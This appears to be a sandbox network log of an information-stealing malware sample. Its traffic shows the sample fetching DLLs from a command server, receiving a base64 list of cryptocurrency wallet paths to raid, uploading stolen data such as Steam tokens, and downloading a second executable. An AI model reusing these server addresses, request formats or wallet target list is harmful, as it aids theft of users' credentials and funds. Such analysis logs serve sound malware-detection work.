00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 20, 2024 14:43:42.654959917 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 20, 2024 14:43:43.111855030 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:42 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 20, 2024 14:43:46.319973946 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 20, 2024 14:43:46.781950951 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:46 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 20, 2024 14:43:47.496503115 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 20, 2024 14:43:47.951849937 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:47 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 20, 2024 14:43:48.654531002 CET	202	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFBAKKJDBKJJJKFHDAEB Host: 185.215.113.206 Content-Length: 947 Connection: Keep-Alive Cache-Control: no-cache
Nov 20, 2024 14:43:49.661957026 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:48 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 20, 2024 14:43:49.730427027 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAEHJEGIIDAECAAKEBKF Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 41 45 48 4a 45 47 49 49 44 41 45 43 41 41 4b 45 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 30 32 31 38 39 61 33 34 32 36 33 32 35 35 63 38 61 37 37 66 33 62 36 66 61 65 36 63 65 34 63 39 35 63 36 61 33 63 64 66 33 31 37 36 30 66 36 35 64 64 62 37 31 34 31 37 63 38 30 61 32 61 37 30 65 38 66 37 66 37 61 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 48 4a 45 47 49 49 44 41 45 43 41 41 4b 45 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 48 4a 45 47 49 49 44 41 45 43 41 41 4b 45 42 4b 46 2d 2d 0d 0a Data Ascii: ------AAEHJEGIIDAECAAKEBKFContent-Disposition: form-data; name="token"d02189a34263255c8a77f3b6fae6ce4c95c6a3cdf31760f65ddb71417c80a2a70e8f7f7a------AAEHJEGIIDAECAAKEBKFContent-Disposition: form-data; name="message"wallets------AAEHJEGIIDAECAAKEBKF--
Nov 20, 2024 14:43:50.187666893 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:49 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 20, 2024 14:43:50.190798998 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEHCAFHIJECGCAKFCGDB Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 48 43 41 46 48 49 4a 45 43 47 43 41 4b 46 43 47 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 30 32 31 38 39 61 33 34 32 36 33 32 35 35 63 38 61 37 37 66 33 62 36 66 61 65 36 63 65 34 63 39 35 63 36 61 33 63 64 66 33 31 37 36 30 66 36 35 64 64 62 37 31 34 31 37 63 38 30 61 32 61 37 30 65 38 66 37 66 37 61 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 43 41 46 48 49 4a 45 43 47 43 41 4b 46 43 47 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 43 41 46 48 49 4a 45 43 47 43 41 4b 46 43 47 44 42 2d 2d 0d 0a Data Ascii: ------KEHCAFHIJECGCAKFCGDBContent-Disposition: form-data; name="token"d02189a34263255c8a77f3b6fae6ce4c95c6a3cdf31760f65ddb71417c80a2a70e8f7f7a------KEHCAFHIJECGCAKFCGDBContent-Disposition: form-data; name="message"files------KEHCAFHIJECGCAKFCGDB--
Nov 20, 2024 14:43:50.652432919 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:50 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 20, 2024 14:43:50.669939995 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEGHJDGIJECGDHJJECGH Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 47 48 4a 44 47 49 4a 45 43 47 44 48 4a 4a 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 30 32 31 38 39 61 33 34 32 36 33 32 35 35 63 38 61 37 37 66 33 62 36 66 61 65 36 63 65 34 63 39 35 63 36 61 33 63 64 66 33 31 37 36 30 66 36 35 64 64 62 37 31 34 31 37 63 38 30 61 32 61 37 30 65 38 66 37 66 37 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 48 4a 44 47 49 4a 45 43 47 44 48 4a 4a 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 48 4a 44 47 49 4a 45 43 47 44 48 4a 4a 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------JEGHJDGIJECGDHJJECGHContent-Disposition: form-data; name="token"d02189a34263255c8a77f3b6fae6ce4c95c6a3cdf31760f65ddb71417c80a2a70e8f7f7a------JEGHJDGIJECGDHJJECGHContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------JEGHJDGIJECGDHJJECGHContent-Disposition: form-data; name="file"------JEGHJDGIJECGDHJJECGH--
Nov 20, 2024 14:43:51.693130970 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:50 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 20, 2024 14:43:51.740216970 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDAAKKEHDHCAAAKFCBAK Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 44 41 41 4b 4b 45 48 44 48 43 41 41 41 4b 46 43 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 30 32 31 38 39 61 33 34 32 36 33 32 35 35 63 38 61 37 37 66 33 62 36 66 61 65 36 63 65 34 63 39 35 63 36 61 33 63 64 66 33 31 37 36 30 66 36 35 64 64 62 37 31 34 31 37 63 38 30 61 32 61 37 30 65 38 66 37 66 37 61 0d 0a 2d 2d 2d 2d 2d 2d 47 44 41 41 4b 4b 45 48 44 48 43 41 41 41 4b 46 43 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 47 44 41 41 4b 4b 45 48 44 48 43 41 41 41 4b 46 43 42 41 4b 2d 2d 0d 0a Data Ascii: ------GDAAKKEHDHCAAAKFCBAKContent-Disposition: form-data; name="token"d02189a34263255c8a77f3b6fae6ce4c95c6a3cdf31760f65ddb71417c80a2a70e8f7f7a------GDAAKKEHDHCAAAKFCBAKContent-Disposition: form-data; name="message"ybncbhylepme------GDAAKKEHDHCAAAKFCBAK--
Nov 20, 2024 14:43:52.200777054 CET	271	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:51 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=
Nov 20, 2024 14:43:57.056344986 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECBKKKFHCFIDHIECGCAF Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 42 4b 4b 4b 46 48 43 46 49 44 48 49 45 43 47 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 30 32 31 38 39 61 33 34 32 36 33 32 35 35 63 38 61 37 37 66 33 62 36 66 61 65 36 63 65 34 63 39 35 63 36 61 33 63 64 66 33 31 37 36 30 66 36 35 64 64 62 37 31 34 31 37 63 38 30 61 32 61 37 30 65 38 66 37 66 37 61 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 4b 4b 4b 46 48 43 46 49 44 48 49 45 43 47 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 4b 4b 4b 46 48 43 46 49 44 48 49 45 43 47 43 41 46 2d 2d 0d 0a Data Ascii: ------ECBKKKFHCFIDHIECGCAFContent-Disposition: form-data; name="token"d02189a34263255c8a77f3b6fae6ce4c95c6a3cdf31760f65ddb71417c80a2a70e8f7f7a------ECBKKKFHCFIDHIECGCAFContent-Disposition: form-data; name="message"wkkjqaiaxkhb------ECBKKKFHCFIDHIECGCAF--

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49939	185.215.113.16	80	380	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 14:43:52.324767113 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 20, 2024 14:43:53.673085928 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 13:43:53 GMT Content-Type: application/octet-stream Content-Length: 1843712 Last-Modified: Wed, 20 Nov 2024 13:22:42 GMT Connection: keep-alive ETag: "673de2a2-1c2200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 f0 48 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfH@ IN!@WkHH@H @.rsrcH@.idata @ )@fgmhzlms/@jvwcxzdpH@.taggant0H"@
Nov 20, 2024 14:43:53.673234940 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 14:43:53.673485994 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 14:43:53.673500061 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 14:43:53.673701048 CET	1236	IN	Data Raw: 0d f1 79 20 be 9f aa ea 5e d2 8d 1c 02 d6 0b 87 af 7e f2 db 37 2c b9 8e d0 4c 15 41 cd b0 09 6c 71 f4 9c 95 6e b4 85 60 ca bb 6d 5e 4e cd 7c 84 1e bc c9 a0 1a da 38 0b 70 bd f9 ef c7 1f 0a 8b 4e 30 5e 4f e6 7b 2e 8c c0 ff 07 5e 8e bd 41 52 bf 5b Data Ascii: y ^~7,LAlqn`m^N\|8pN0^O{.^AR[&b.P-0LslD+0&k=q=JQ)L5#N0-fMGS`2onX`n:Gx$z/5Y$.0]Zx`.NMo+@=
Nov 20, 2024 14:43:53.673713923 CET	1236	IN	Data Raw: 5d f0 df d0 9d 08 3a 1e b6 14 ce a1 f5 8b 8f a5 2e ee 05 b4 bf 2f ae 28 3f e9 09 ac 52 34 a9 60 3e ce 61 58 90 94 12 17 51 12 b6 53 27 b0 29 30 a2 4f 8a 4b c8 ff 0e 5d a6 ae 88 13 cd 1c 8e 6c 6e f0 13 50 ae 44 c4 7e f2 03 0b b8 9e 73 ee 3f 44 4d Data Ascii: ]:./(?R4`>aXQS')0OK]lnPD~s?DM84<5P~]\D@sq.Avph.AD\|OxZhy\\7r!(# lHya9,oe"42V8Tt1-oAmBfQ,
Nov 20, 2024 14:43:53.673739910 CET	1236	IN	Data Raw: da c7 b0 c4 86 c5 ad 2a 8a bb 32 e2 bf cd d1 8d f5 63 9c 80 39 40 d7 b0 2d d6 e0 ac 76 be d1 65 9b 6d bb 71 8a d3 fc 3e 76 1d 0e 2d 6d 58 f7 1d 5c 44 b0 cd 45 b3 8f 51 7f 94 9e 5e eb a0 5c cc 45 d5 73 f9 3f 58 ee 2b a5 51 72 2e 86 e1 b4 2a fa 10 Data Ascii: 2c9@-vemq>v-mX\DEQ^\Es?X+Qr.?>Jf>e7)zt%Dns=.aPr%mtm9jqbxTZ^?P]XD@H7h+ t"Z!xac54\|
Nov 20, 2024 14:43:53.673754930 CET	1236	IN	Data Raw: f5 96 07 a6 c0 54 74 51 b2 b0 65 08 f6 76 39 47 26 e1 7f 3d 7c 64 0c 0c c0 36 86 c3 a0 fb e2 aa aa b8 dc a6 dc 5c 60 3c 23 58 a6 90 ea a5 46 44 c6 2c 15 19 31 12 07 62 73 2b 7e 2a a5 73 31 ef c0 fe 40 8f bc 36 25 a5 bf 70 15 e7 88 d7 d6 51 33 c9 Data Ascii: TtQev9G&=\|d6\`<#XFD,1bs+~*s1@6%pQ3=R5w8CpD3!r(,="w=0%+!Y7:_Wq7mLz~Y07;Di$SS\|9MH#/AfT:y5T>OD?
Nov 20, 2024 14:43:53.673768044 CET	1236	IN	Data Raw: 51 90 fc df ef 6a 1d 29 7a 97 ed 37 fe cd 11 d0 52 8e 48 b2 aa d8 a9 e5 00 8c 4e 15 eb 82 22 2c de b4 81 2a a2 ad 6f 19 ac 6d 7a 4e 56 c7 a9 28 87 90 c3 88 db ea f1 61 15 ad 7b 28 c4 c5 bb 70 82 cb c9 02 d7 7d 21 d1 06 fa 30 8a af 3c f1 1c d9 8a Data Ascii: Qj)z7RHN",*omzNV(a{(p}!0<^I;gm<iOD^2w\=].]sKv<Sv!Ox]Wp8WkLUwo[vtJbHmm6}obO9//<'cGu
